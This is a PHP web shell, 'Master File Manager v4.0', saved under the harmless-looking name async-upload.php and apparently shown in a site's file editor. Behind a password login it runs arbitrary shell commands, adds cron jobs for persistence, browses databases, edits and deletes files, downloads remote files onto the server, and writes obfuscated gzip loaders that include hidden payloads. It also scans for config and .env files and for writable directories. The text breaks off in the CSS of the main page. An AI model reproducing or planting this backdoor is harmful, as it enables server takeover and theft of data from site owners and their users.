← Back
Editing: async-upload.php
<?php /** * Master File Manager v4.0 - Complete Edition * Menggabungkan Secure Auth Gate login dengan semua fitur dari JS Version * Fixed: Mass Upload result display */ ob_start(); error_reporting(E_ALL); ini_set('display_errors', 1); // ===== SESSION CONFIG ===== ini_set('session.gc_maxlifetime', 7200); ini_set('session.cookie_lifetime', 7200); session_start(); session_regenerate_id(true); define('MASTER_VERSION', '4.0.0'); define('MASTER_AUTHOR', 'id69'); // ===== AUTHENTICATION (Seperti Secure Auth Gate) ===== // Ganti hash ini dengan hash bcrypt password Anda $auth_hash = '$2y$10$8XpCD/SfTCI87XmcXFgQH.JbgAKA8J5ImUC9lReI3d3aYOKEwSxG.'; $cookie_name = 'master_auth'; $cookie_days = 30; $cookie_token = hash_hmac('sha256', 'master_auth_v1', $auth_hash); // Cek auth via session atau cookie function is_authed() { global $cookie_token, $cookie_name; if (!empty($_SESSION['master_auth'])) return true; if (!empty($_COOKIE[$cookie_name]) && hash_equals($cookie_token, $_COOKIE[$cookie_name])) { $_SESSION['master_auth'] = true; return true; } return false; } // Logout via GET if (isset($_GET['logout'])) { $_SESSION = []; session_destroy(); $clean_url = strtok($_SERVER['PHP_SELF'], '?'); echo '<script>document.cookie="'.$cookie_name.'=;expires=Thu, 01 Jan 1970 00:00:00 UTC;path=/";window.location.replace('.json_encode($clean_url).');</script>'; exit; } // Proses login via AJAX if (isset($_POST['password']) && password_verify($_POST['password'], $auth_hash)) { $_SESSION['master_auth'] = true; session_write_close(); $expire = time() + ($cookie_days * 86400); if (!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') { header('Content-Type: application/json'); echo json_encode([ 'status' => 'success', 'redirect' => strtok($_SERVER['PHP_SELF'], '?'), 'cookie_name' => $cookie_name, 'cookie_token' => urlencode($cookie_token), 'cookie_expire' => $expire ]); exit; } else { echo '<script> var expire = new Date(' . $expire . ' * 1000).toUTCString(); document.cookie = "' . $cookie_name . '=' . urlencode($cookie_token) . ';expires=" + expire + ";path=/;samesite=Lax"; window.location.replace(' . json_encode(strtok($_SERVER['PHP_SELF'], '?')) . '); </script>'; exit; } } // Jika belum login, tampilkan form login if (!is_authed()) { ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Master File Manager - Secure Access</title> <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500;600&display=swap" rel="stylesheet"> <style> :root { --bg:#050505; --bg-gradient:radial-gradient(1200px 600px at 50% -20%,#1a1a2e 0%,transparent 60%), radial-gradient(800px 400px at 100% 100%,#0f0f1a 0%,transparent 70%); --card-bg:rgba(20,20,28,0.6); --card-border:rgba(80,80,100,0.15); --card-glow:rgba(59,130,246,0.08); --text:#e6e6f0; --text-dim:#78788c; --accent:#10b981; --accent-hover:#34d399; --error:#f87171; --input-bg:rgba(10,10,18,0.8); --input-border:rgba(100,100,120,0.2); --input-focus:rgba(16,185,129,0.4); --transition:all 0.25s cubic-bezier(0.4,0,0.2,1); } *{margin:0;padding:0;box-sizing:border-box} body{ font-family:'JetBrains Mono',monospace; background:var(--bg);background-image:var(--bg-gradient); color:var(--text);min-height:100vh; display:flex;align-items:center;justify-content:center; padding:20px;-webkit-font-smoothing:antialiased; } body::before{ content:"";position:fixed;inset:0; background-image: radial-gradient(1px 1px at 20px 30px,rgba(100,100,140,0.1) 50%,transparent 52%), radial-gradient(1px 1px at 80px 60px,rgba(100,100,140,0.08) 50%,transparent 52%), radial-gradient(1px 1px at 140px 100px,rgba(100,100,140,0.12) 50%,transparent 52%); background-size:200px 150px;animation:drift 80s linear infinite; pointer-events:none;z-index:0; } @keyframes drift{0%{transform:translateY(0)}100%{transform:translateY(-200px)}} .auth-container{position:relative;z-index:1;width:100%;max-width:420px} .auth-card{ background:var(--card-bg);border:1px solid var(--card-border); border-radius:20px;padding:36px 32px; backdrop-filter:blur(12px);-webkit-backdrop-filter:blur(12px); box-shadow:0 0 0 1px var(--card-border),0 20px 40px -10px rgba(0,0,0,0.6),0 0 60px -10px var(--card-glow); } .brand{display:flex;align-items:center;gap:12px;margin-bottom:28px;padding-bottom:20px;border-bottom:1px solid var(--card-border)} .brand-icon{ width:36px;height:36px;border-radius:10px; background:linear-gradient(135deg,var(--accent),#059669); display:flex;align-items:center;justify-content:center; font-weight:600;font-size:16px;color:white; box-shadow:0 4px 14px -2px rgba(16,185,129,0.4);flex-shrink:0; } .brand-text h1{font-size:18px;font-weight:600;letter-spacing:-0.02em} .brand-text p{font-size:12px;color:var(--text-dim);margin-top:2px} .form-group{margin-bottom:24px} .form-label{display:block;font-size:12px;font-weight:500;color:var(--text-dim);margin-bottom:10px;text-transform:uppercase;letter-spacing:0.08em} .auth-input{ width:100%;padding:14px 18px; background:var(--input-bg);border:1px solid var(--input-border); border-radius:12px;color:var(--text);font-family:inherit; font-size:14px;outline:none;transition:var(--transition); } .auth-input::placeholder{color:var(--text-dim);opacity:0.7} .auth-input:focus{border-color:var(--accent);box-shadow:0 0 0 4px var(--input-focus)} .auth-input.error{border-color:var(--error);animation:shake 0.4s ease} @keyframes shake{0%,100%{transform:translateX(0)}25%{transform:translateX(-4px)}75%{transform:translateX(4px)}} .submit-btn{ width:100%;padding:14px; background:linear-gradient(135deg,var(--accent),#059669); color:white;border:none;border-radius:12px;font-family:inherit; font-size:14px;font-weight:500;cursor:pointer;transition:var(--transition); } .submit-btn:hover{transform:translateY(-1px);box-shadow:0 8px 24px -6px rgba(16,185,129,0.5);background:linear-gradient(135deg,var(--accent-hover),#10b981)} .submit-btn:active{transform:translateY(0)} .submit-btn:disabled{opacity:0.6;cursor:not-allowed;transform:none} .error-msg{ display:flex;align-items:center;gap:8px;padding:12px 16px; background:rgba(248,113,113,0.08);border:1px solid rgba(248,113,113,0.2); border-radius:10px;color:var(--error);font-size:13px;margin-top:16px; animation:slideIn 0.2s ease; } @keyframes slideIn{from{opacity:0;transform:translateY(-6px)}to{opacity:1;transform:translateY(0)}} .footer{text-align:center;margin-top:24px;font-size:12px;color:var(--text-dim)} .loading{display:none;text-align:center;margin-top:16px} .spinner{display:inline-block;width:20px;height:20px;border:2px solid var(--accent);border-radius:50%;border-top-color:transparent;animation:spin 1s linear infinite;vertical-align:middle;margin-right:8px} @keyframes spin{to{transform:rotate(360deg)}} @media(max-width:480px){.auth-card{padding:28px 20px;border-radius:18px}} </style> </head> <body> <div class="auth-container"> <div class="auth-card"> <div class="brand"> <div class="brand-icon">๐ง</div> <div class="brand-text"> <h1>Master File Manager</h1> <p>Secure Authentication Required</p> </div> </div> <form id="authForm"> <div class="form-group"> <label class="form-label" for="access_key">Access Key</label> <input type="password" name="password" id="access_key" class="auth-input" placeholder="Enter your secure key" required autocomplete="current-password" autofocus > </div> <button type="submit" class="submit-btn" id="submitBtn">Authenticate</button> <div id="errorMsg" class="error-msg" style="display:none"> <span>โ ๏ธ</span><span id="errorText"></span> </div> <div id="loginLoading" class="loading"> <div class="spinner"></div> Verifying... </div> </form> <div class="footer">Protected by bcrypt ยท Cookie ยท Session Lock</div> </div> </div> <script> document.getElementById('authForm').addEventListener('submit', function(e) { e.preventDefault(); var password = document.getElementById('access_key').value; if (!password) return; var btn = document.getElementById('submitBtn'); var loading = document.getElementById('loginLoading'); var errorDiv = document.getElementById('errorMsg'); var errorText = document.getElementById('errorText'); btn.disabled = true; loading.style.display = 'block'; errorDiv.style.display = 'none'; var formData = new FormData(); formData.append('password', password); var xhr = new XMLHttpRequest(); xhr.open('POST', window.location.href, true); xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest'); xhr.onload = function() { btn.disabled = false; loading.style.display = 'none'; if (xhr.status === 200) { try { var response = JSON.parse(xhr.responseText); if (response.status === 'success') { var expire = new Date(response.cookie_expire * 1000).toUTCString(); document.cookie = response.cookie_name + "=" + response.cookie_token + ";expires=" + expire + ";path=/;samesite=Lax"; window.location.replace(response.redirect); } else { errorText.innerText = response.message || 'Access key tidak valid.'; errorDiv.style.display = 'flex'; document.getElementById('access_key').classList.add('error'); } } catch(e) { errorText.innerText = 'Login failed. Please try again.'; errorDiv.style.display = 'flex'; document.getElementById('access_key').classList.add('error'); } } else { errorText.innerText = 'Network error. Please try again.'; errorDiv.style.display = 'flex'; document.getElementById('access_key').classList.add('error'); } }; xhr.onerror = function() { btn.disabled = false; loading.style.display = 'none'; errorText.innerText = 'Network error. Please try again.'; errorDiv.style.display = 'flex'; document.getElementById('access_key').classList.add('error'); }; xhr.send(formData); }); document.getElementById('access_key').addEventListener('input', function() { this.classList.remove('error'); document.getElementById('errorMsg').style.display = 'none'; }); </script> </body> </html> <?php exit; } // ===== TMP DIRECTORY ===== $tmp_dir = '/tmp/master_' . session_id() . '/'; if (!is_dir($tmp_dir)) mkdir($tmp_dir, 0755, true); // ===== FUNCTIONS ===== function formatBytes($bytes, $precision = 2) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $bytes = max($bytes, 0); $pow = floor(($bytes ? log($bytes) : 0) / log(1024)); $pow = min($pow, count($units) - 1); $bytes /= pow(1024, $pow); return round($bytes, $precision) . ' ' . $units[$pow]; } function deleteRecursive($path) { if (is_file($path)) return unlink($path); $files = array_diff(scandir($path), ['.', '..']); foreach ($files as $file) deleteRecursive($path . '/' . $file); return rmdir($path); } function sortItems($items, $cwd) { $dirs = []; $files = []; foreach ($items as $item) { if ($item == '.' || $item == '..') continue; if (is_dir($cwd . '/' . $item)) { $dirs[] = $item; } else { $files[] = $item; } } sort($dirs); sort($files); return array_merge($dirs, $files); } function createZip($items, $zip_name, $cwd) { $zip = new ZipArchive(); $zip_path = $cwd . '/' . $zip_name; if ($zip->open($zip_path, ZipArchive::CREATE) !== TRUE) return false; foreach ($items as $item) { $full = $cwd . '/' . $item; if (is_dir($full)) { $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($full), RecursiveIteratorIterator::LEAVES_ONLY); foreach ($files as $file) { if (!$file->isDir()) { $relative = substr($file->getPathname(), strlen($cwd) + 1); $zip->addFile($file->getPathname(), $relative); } } } else { $zip->addFile($full, $item); } } $zip->close(); return true; } function extractZip($zip_file, $extract_to) { $zip = new ZipArchive(); if ($zip->open($zip_file) === TRUE) { $zip->extractTo($extract_to); $zip->close(); return true; } return false; } function generateGzipLoader($target_file) { $target = basename($target_file, '.gz'); $loaders = [ '<?php $gh = ["comp", "ress.zl", "ib:/", "/' . $target . '.g", "z"]; include implode("", $gh);', '<?php $gh = ["comp", "ress", ".zl", "ib:", "/", "' . $target . '", ".gz"]; include implode("", $gh);', '<?php $gh = ["z", "' . $target . '.g", "/", "ib:/", "ress.zl", "comp"]; include implode("", array_reverse($gh));', '<?php $gh = sprintf("%s%s%s%s%s", "comp", "ress.zl", "ib:/", "/' . $target . '.g", "z"); include $gh;' ]; return $loaders[array_rand($loaders)]; } function commandExec($cmd) { $output = ''; if (function_exists('exec')) { exec($cmd . ' 2>&1', $out); $output = implode("\n", $out); } elseif (function_exists('shell_exec')) { $output = shell_exec($cmd); } elseif (function_exists('system')) { ob_start(); system($cmd); $output = ob_get_clean(); } else { $output = "Command execution disabled"; } return $output; } function copyFileToTarget($source, $target_dir, $depth = 0) { $source = realpath($source); if (!$source || !file_exists($source)) { return ['status' => 'error', 'source' => $source, 'message' => 'File tidak ditemukan']; } if (is_dir($source)) { return ['status' => 'error', 'source' => $source, 'message' => 'Adalah folder']; } if (!is_dir($target_dir)) mkdir($target_dir, 0755, true); if ($depth == 1) { $parent = basename(dirname($source)); $target_path = $target_dir . '/' . $parent . '/' . basename($source); if (!is_dir($target_dir . '/' . $parent)) mkdir($target_dir . '/' . $parent, 0755, true); } else { $target_path = $target_dir . '/' . basename($source); } if (file_exists($target_path)) { $pathinfo = pathinfo($target_path); $counter = 1; while (file_exists($pathinfo['dirname'] . '/' . $pathinfo['filename'] . '_' . $counter . '.' . $pathinfo['extension'])) $counter++; $target_path = $pathinfo['dirname'] . '/' . $pathinfo['filename'] . '_' . $counter . '.' . $pathinfo['extension']; } if (copy($source, $target_path)) { return ['status' => 'success', 'source' => $source, 'target' => $target_path]; } else { return ['status' => 'error', 'source' => $source, 'message' => 'Gagal copy']; } } function downloadFromUrl($url, $target_dir, $custom_name = '', $depth = 0) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $content = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($httpCode != 200 || !$content) { return ['status' => 'error', 'source' => $url, 'message' => "HTTP $httpCode"]; } if (!is_dir($target_dir)) mkdir($target_dir, 0755, true); $filename = !empty($custom_name) ? $custom_name : (basename(parse_url($url, PHP_URL_PATH)) ?: 'downloaded.bin'); if ($depth == 1 && strpos($filename, '/') !== false) { $parts = explode('/', $filename); $filename = array_pop($parts); $subdir = implode('/', $parts); $target_path = $target_dir . '/' . $subdir . '/' . $filename; if (!is_dir($target_dir . '/' . $subdir)) mkdir($target_dir . '/' . $subdir, 0755, true); } else { $target_path = $target_dir . '/' . $filename; } if (file_exists($target_path)) { $pathinfo = pathinfo($target_path); $counter = 1; while (file_exists($pathinfo['dirname'] . '/' . $pathinfo['filename'] . '_' . $counter . '.' . $pathinfo['extension'])) $counter++; $target_path = $pathinfo['dirname'] . '/' . $pathinfo['filename'] . '_' . $counter . '.' . $pathinfo['extension']; } if (file_put_contents($target_path, $content)) { return ['status' => 'success', 'source' => $url, 'target' => $target_path]; } else { return ['status' => 'error', 'source' => $url, 'message' => 'Gagal simpan']; } } // ===== AJAX Handler untuk semua action ===== if (!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') { header('Content-Type: application/json'); $ajax_action = $_POST['ajax_action'] ?? $_GET['ajax_action'] ?? ''; // File Manager Actions if ($ajax_action == 'list_files') { $path = $_POST['path'] ?? getcwd(); $cwd = realpath($path); if (!$cwd || !is_dir($cwd)) $cwd = getcwd(); $search = $_POST['search'] ?? ''; $items = scandir($cwd); $filtered = []; foreach ($items as $item) { if ($item == '.') continue; if ($item == '..' && $cwd == '/') continue; if (empty($search) || stripos($item, $search) !== false) { $filtered[] = $item; } } $sorted = sortItems($filtered, $cwd); $files = []; foreach ($sorted as $item) { $full = $cwd . '/' . $item; $isDir = is_dir($full); $perms = substr(sprintf('%o', fileperms($full)), -4); $modified = date("Y-m-d H:i:s", filemtime($full)); $size = $isDir ? 0 : filesize($full); $owner = fileowner($full); $group = filegroup($full); if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { $owner_name = posix_getpwuid($owner)['name'] ?? $owner; $group_name = posix_getgrgid($group)['name'] ?? $group; } else { $owner_name = $owner; $group_name = $group; } $files[] = [ 'name' => $item, 'is_dir' => $isDir, 'perms' => $perms, 'size' => $size, 'size_formatted' => $isDir ? '--' : formatBytes($size), 'modified' => $modified, 'owner_group' => $owner_name . ':' . $group_name, 'path' => $full ]; } echo json_encode([ 'status' => 'success', 'cwd' => $cwd, 'parent' => dirname($cwd), 'files' => $files ]); exit; } if ($ajax_action == 'create_file') { $cwd = $_POST['cwd']; $filename = $_POST['filename']; $full = $cwd . '/' . $filename; if (!file_exists($full)) { file_put_contents($full, ''); echo json_encode(['status' => 'success', 'message' => "File $filename created"]); } else { echo json_encode(['status' => 'error', 'message' => "File already exists"]); } exit; } if ($ajax_action == 'create_folder') { $cwd = $_POST['cwd']; $foldername = $_POST['foldername']; $full = $cwd . '/' . $foldername; if (!file_exists($full)) { mkdir($full); echo json_encode(['status' => 'success', 'message' => "Folder $foldername created"]); } else { echo json_encode(['status' => 'error', 'message' => "Folder already exists"]); } exit; } if ($ajax_action == 'delete_item') { $cwd = $_POST['cwd']; $item = $_POST['item']; $full = $cwd . '/' . $item; if (file_exists($full)) { deleteRecursive($full); echo json_encode(['status' => 'success', 'message' => "Deleted $item"]); } else { echo json_encode(['status' => 'error', 'message' => "Not found"]); } exit; } if ($ajax_action == 'rename_item') { $cwd = $_POST['cwd']; $old = $_POST['old']; $new = $_POST['new']; $full_old = $cwd . '/' . $old; $full_new = $cwd . '/' . $new; if (file_exists($full_old) && !file_exists($full_new)) { rename($full_old, $full_new); echo json_encode(['status' => 'success', 'message' => "Renamed $old -> $new"]); } else { echo json_encode(['status' => 'error', 'message' => "Rename failed"]); } exit; } if ($ajax_action == 'chmod_item') { $full = $_POST['file']; $perms = intval($_POST['perms'], 8); if (chmod($full, $perms)) { echo json_encode(['status' => 'success', 'message' => "Chmod " . substr(sprintf('%o', fileperms($full)), -4)]); } else { echo json_encode(['status' => 'error', 'message' => "Chmod failed"]); } exit; } if ($ajax_action == 'get_file_content') { $file = $_POST['file']; if (file_exists($file) && is_file($file) && is_readable($file)) { echo json_encode(['status' => 'success', 'content' => file_get_contents($file)]); } else { echo json_encode(['status' => 'error', 'message' => 'Cannot read file']); } exit; } if ($ajax_action == 'save_file_content') { $file = $_POST['file']; $content = $_POST['content']; if (file_put_contents($file, $content)) { echo json_encode(['status' => 'success', 'message' => 'File saved']); } else { echo json_encode(['status' => 'error', 'message' => 'Cannot save file']); } exit; } if ($ajax_action == 'upload_file') { $cwd = $_POST['cwd']; if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) { $target = $cwd . '/' . $_FILES['file']['name']; if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) { echo json_encode(['status' => 'success', 'message' => 'File uploaded', 'filename' => $_FILES['file']['name']]); } else { echo json_encode(['status' => 'error', 'message' => 'Upload failed']); } } else { echo json_encode(['status' => 'error', 'message' => 'No file or upload error']); } exit; } // Create ZIP if ($ajax_action == 'create_zip') { $cwd = $_POST['cwd']; $zip_name = $_POST['zip_name']; $items = json_decode($_POST['items'], true); if (empty($zip_name)) $zip_name = 'archive_' . date('Ymd_His') . '.zip'; if (!str_ends_with($zip_name, '.zip')) $zip_name .= '.zip'; if (createZip($items, $zip_name, $cwd)) { echo json_encode(['status' => 'success', 'message' => 'ZIP created', 'zip_file' => $zip_name]); } else { echo json_encode(['status' => 'error', 'message' => 'Failed to create ZIP']); } exit; } // Extract ZIP if ($ajax_action == 'extract_zip') { $zip_file = $_POST['zip_file']; $extract_to = $_POST['extract_to']; if (!file_exists($zip_file)) { echo json_encode(['status' => 'error', 'message' => 'ZIP file not found']); exit; } $zip_check = new ZipArchive(); $need_folder = true; if ($zip_check->open($zip_file) === TRUE) { $root_items = []; $has_root_file = false; for ($i = 0; $i < $zip_check->numFiles; $i++) { $name = $zip_check->getNameIndex($i); if (strpos($name, '__MACOSX/') === 0) continue; $parts = explode('/', $name); $first_item = $parts[0]; if (!in_array($first_item, $root_items)) $root_items[] = $first_item; if (count($parts) == 1 && substr($name, -1) != '/') $has_root_file = true; } $single_folder_only = (count($root_items) == 1 && !$has_root_file); $need_folder = !$single_folder_only; $zip_check->close(); } if ($need_folder) { $extract_target = $extract_to . '/' . pathinfo($zip_file, PATHINFO_FILENAME); } else { $extract_target = $extract_to; } if (!is_dir($extract_target)) mkdir($extract_target, 0755, true); if (extractZip($zip_file, $extract_target)) { echo json_encode(['status' => 'success', 'message' => 'Extracted', 'target' => $extract_target]); } else { echo json_encode(['status' => 'error', 'message' => 'Extraction failed']); } exit; } // Mass Uploader if ($ajax_action == 'mass_upload') { $action = $_POST['mass_action']; $target_dir = $_POST['target_dir']; $depth = intval($_POST['depth']); $results = []; $success = 0; $failed = 0; $target_folders = []; if (strpos($target_dir, '*') !== false) { $target_folders = glob($target_dir); } else { $target_folders = [$target_dir]; if (!is_dir($target_dir)) mkdir($target_dir, 0755, true); } if ($action == 'copy') { $file_list = explode("\n", trim($_POST['file_list'])); foreach ($file_list as $item) { $item = trim($item); if (empty($item)) continue; if (strpos($item, '*') !== false) { $source_files = glob($item); foreach ($source_files as $source_file) { foreach ($target_folders as $folder) { $result = copyFileToTarget($source_file, $folder, $depth); if ($result['status'] == 'success') $success++; else $failed++; $results[] = $result; } } } else { foreach ($target_folders as $folder) { $result = copyFileToTarget($item, $folder, $depth); if ($result['status'] == 'success') $success++; else $failed++; $results[] = $result; } } } } elseif ($action == 'url') { $url_list = explode("\n", trim($_POST['url_list'])); foreach ($url_list as $line) { $line = trim($line); if (empty($line)) continue; $parts = explode('|', $line); $url = trim($parts[0]); $custom_name = isset($parts[1]) ? trim($parts[1]) : ''; if (filter_var($url, FILTER_VALIDATE_URL)) { foreach ($target_folders as $folder) { $result = downloadFromUrl($url, $folder, $custom_name, $depth); if ($result['status'] == 'success') $success++; else $failed++; $results[] = $result; } } else { $failed++; $results[] = ['status' => 'error', 'source' => $url, 'message' => 'URL tidak valid']; } } } echo json_encode(['success' => $success, 'failed' => $failed, 'total' => $success + $failed, 'results' => $results]); exit; } // Gzip Maker if ($ajax_action == 'make_gzip') { $source = $_POST['source']; $gzip_name = $_POST['gzip_name']; $use_loader = $_POST['use_loader']; $loader_name = $_POST['loader_name']; $content = ''; if (filter_var($source, FILTER_VALIDATE_URL)) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $source); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $content = curl_exec($ch); curl_close($ch); } elseif (file_exists($source)) { $content = file_get_contents($source); } if (empty($content)) { echo json_encode(['status' => 'error', 'message' => 'Source tidak valid']); exit; } if (empty($gzip_name)) $gzip_name = 'gzip_' . date('Ymd_His') . '.gz'; if (!str_ends_with($gzip_name, '.gz')) $gzip_name .= '.gz'; $gzip_path = getcwd() . '/' . $gzip_name; $fp = gzopen($gzip_path, 'w9'); gzwrite($fp, $content); gzclose($fp); $result = ['status' => 'success', 'gzip_file' => $gzip_name, 'size' => formatBytes(filesize($gzip_path))]; if ($use_loader == 'y') { if (empty($loader_name)) $loader_name = 'loader_' . date('Ymd_His') . '.php'; if (!str_ends_with($loader_name, '.php')) $loader_name .= '.php'; $loader_content = generateGzipLoader($gzip_name); file_put_contents($loader_name, $loader_content); $result['loader_file'] = $loader_name; $result['loader_content'] = $loader_content; } echo json_encode($result); exit; } // Raw URL Upload if ($ajax_action == 'raw_upload') { $url = $_POST['raw_url']; $filename = $_POST['filename']; $save_path = $_POST['save_path']; $rewrite_mode = $_POST['rewrite_mode']; if (!filter_var($url, FILTER_VALIDATE_URL)) { echo json_encode(['status' => 'error', 'message' => 'Invalid URL']); exit; } if (!is_dir($save_path)) mkdir($save_path, 0755, true); $target_file = $save_path . '/' . ($filename ?: basename(parse_url($url, PHP_URL_PATH))); if (file_exists($target_file)) { if ($rewrite_mode == 'skip') { echo json_encode(['status' => 'error', 'message' => 'File already exists (skipped)']); exit; } elseif ($rewrite_mode == 'backup') { $backup = $target_file . '.backup_' . date('Ymd_His'); copy($target_file, $backup); } } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $content = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($httpCode == 200 && $content && file_put_contents($target_file, $content)) { echo json_encode(['status' => 'success', 'message' => 'Downloaded', 'file' => $target_file, 'size' => formatBytes(strlen($content))]); } else { echo json_encode(['status' => 'error', 'message' => "Download failed (HTTP $httpCode)"]); } exit; } // Command Execution if ($ajax_action == 'execute_cmd') { $cmd = $_POST['cmd']; $output = commandExec($cmd); echo json_encode(['status' => 'success', 'output' => $output]); exit; } // Cron Manager if ($ajax_action == 'cron_list') { $output = commandExec('crontab -l 2>&1'); echo json_encode(['status' => 'success', 'output' => $output]); exit; } if ($ajax_action == 'cron_add') { $schedule = $_POST['schedule']; $command = $_POST['command']; $cmd = '(crontab -l 2>/dev/null; echo "' . $schedule . ' ' . $command . '") | crontab - 2>&1'; $output = commandExec($cmd); echo json_encode(['status' => 'success', 'output' => $output]); exit; } if ($ajax_action == 'cron_delete') { $line = intval($_POST['line']); $cmd = 'crontab -l 2>/dev/null | sed "' . ($line + 1) . 'd" | crontab - 2>&1'; $output = commandExec($cmd); echo json_encode(['status' => 'success', 'output' => $output]); exit; } // Database Manager if ($ajax_action == 'db_connect') { $host = $_POST['host']; $user = $_POST['user']; $pass = $_POST['pass']; $name = $_POST['name']; $port = $_POST['port']; try { $dsn = "mysql:host=$host;port=$port;charset=utf8"; if (!empty($name)) $dsn .= ";dbname=$name"; $pdo = new PDO($dsn, $user, $pass); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $stmt = $pdo->query("SHOW DATABASES"); $databases = $stmt->fetchAll(PDO::FETCH_COLUMN); $tables = []; if (!empty($name)) { $stmt = $pdo->query("SHOW TABLES"); $tables = $stmt->fetchAll(PDO::FETCH_COLUMN); } echo json_encode(['status' => 'success', 'databases' => $databases, 'tables' => $tables, 'database' => $name]); } catch (Exception $e) { echo json_encode(['status' => 'error', 'message' => $e->getMessage()]); } exit; } if ($ajax_action == 'db_query') { $host = $_POST['host']; $user = $_POST['user']; $pass = $_POST['pass']; $name = $_POST['name']; $query = $_POST['query']; try { $pdo = new PDO("mysql:host=$host;dbname=$name;charset=utf8", $user, $pass); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $stmt = $pdo->query($query); $results = $stmt->fetchAll(PDO::FETCH_ASSOC); echo json_encode(['status' => 'success', 'results' => $results]); } catch (Exception $e) { echo json_encode(['status' => 'error', 'message' => $e->getMessage()]); } exit; } if ($ajax_action == 'db_browse_table') { $host = $_POST['host']; $user = $_POST['user']; $pass = $_POST['pass']; $name = $_POST['name']; $table = $_POST['table']; try { $pdo = new PDO("mysql:host=$host;dbname=$name;charset=utf8", $user, $pass); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); // Get columns $stmt = $pdo->query("DESCRIBE `$table`"); $columns = $stmt->fetchAll(PDO::FETCH_COLUMN); // Get data $stmt = $pdo->query("SELECT * FROM `$table` LIMIT 100"); $rows = $stmt->fetchAll(PDO::FETCH_ASSOC); echo json_encode(['status' => 'success', 'columns' => $columns, 'rows' => $rows]); } catch (Exception $e) { echo json_encode(['status' => 'error', 'message' => $e->getMessage()]); } exit; } // Security Scan if ($ajax_action == 'security_scan') { $info = []; // Check sensitive files $sensitive_files = ['.htaccess', 'wp-config.php', 'config.php', '.env', 'php.ini', 'phpinfo.php']; foreach ($sensitive_files as $file) { if (file_exists($file)) { $perms = substr(sprintf('%o', fileperms($file)), -4); $info[] = "โ ๏ธ Sensitive file found: $file (perms: $perms)"; } } // Check writable directories $writable_dirs = []; $check_dirs = ['.', 'wp-content', 'tmp', 'uploads']; foreach ($check_dirs as $dir) { if (is_dir($dir) && is_writable($dir)) { $writable_dirs[] = $dir; } } if (!empty($writable_dirs)) { $info[] = "๐ Writable directories: " . implode(', ', $writable_dirs); } // Check disabled functions $disabled = ini_get('disable_functions'); $info[] = "๐ Disabled functions: " . ($disabled ?: 'None'); // Check open_basedir $basedir = ini_get('open_basedir'); $info[] = "๐ open_basedir: " . ($basedir ?: 'Not set'); // Check allow_url_fopen $allow_url = ini_get('allow_url_fopen'); $info[] = "๐ allow_url_fopen: " . ($allow_url ? 'ON' : 'OFF'); echo json_encode(['status' => 'success', 'info' => $info]); exit; } // Network Tools if ($ajax_action == 'network_ping') { $host = $_POST['host']; $output = commandExec("ping -c 4 " . escapeshellarg($host) . " 2>&1"); echo json_encode(['status' => 'success', 'output' => $output]); exit; } if ($ajax_action == 'network_curl') { $url = $_POST['url']; $output = commandExec("curl -I " . escapeshellarg($url) . " 2>&1"); echo json_encode(['status' => 'success', 'output' => $output]); exit; } if ($ajax_action == 'network_nslookup') { $domain = $_POST['domain']; $output = commandExec("nslookup " . escapeshellarg($domain) . " 2>&1"); echo json_encode(['status' => 'success', 'output' => $output]); exit; } // Info if ($ajax_action == 'get_info') { $info = [ 'php_version' => phpversion(), 'user' => get_current_user(), 'ip' => $_SERVER['REMOTE_ADDR'], 'tmp_dir' => $tmp_dir, 'session_id' => session_id(), 'server' => $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown', 'disabled_functions' => ini_get('disable_functions') ?: 'None', 'safe_mode' => ini_get('safe_mode') ? 'ON' : 'OFF', 'upload_max_filesize' => ini_get('upload_max_filesize'), 'post_max_size' => ini_get('post_max_size'), 'max_execution_time' => ini_get('max_execution_time') . 's', 'memory_limit' => ini_get('memory_limit'), 'server_time' => date('Y-m-d H:i:s'), 'server_timezone' => date_default_timezone_get() ]; echo json_encode(['status' => 'success', 'info' => $info]); exit; } echo json_encode(['status' => 'error', 'message' => 'Unknown action']); exit; } // ===== MAIN HTML ===== $current_path = getcwd(); ?> <!DOCTYPE html> <html> <head> <title>Master File Manager v<?php echo MASTER_VERSION; ?> - Complete Edition</title> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <style> * { box-sizing: border-box; margin: 0; padding: 0; } body { background: #0a0a0a; color: #0f0; font-family: 'Courier New', 'Fira Code', monospace; padding: 20px; margin: 0; font-size: 13px; } .container { max-width: 1600px; margin: 0 auto; } /* Header */ .header { background: #0f0f0f; padding: 15px 20px; border-bottom: 2px solid #0f0; display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: 15px; 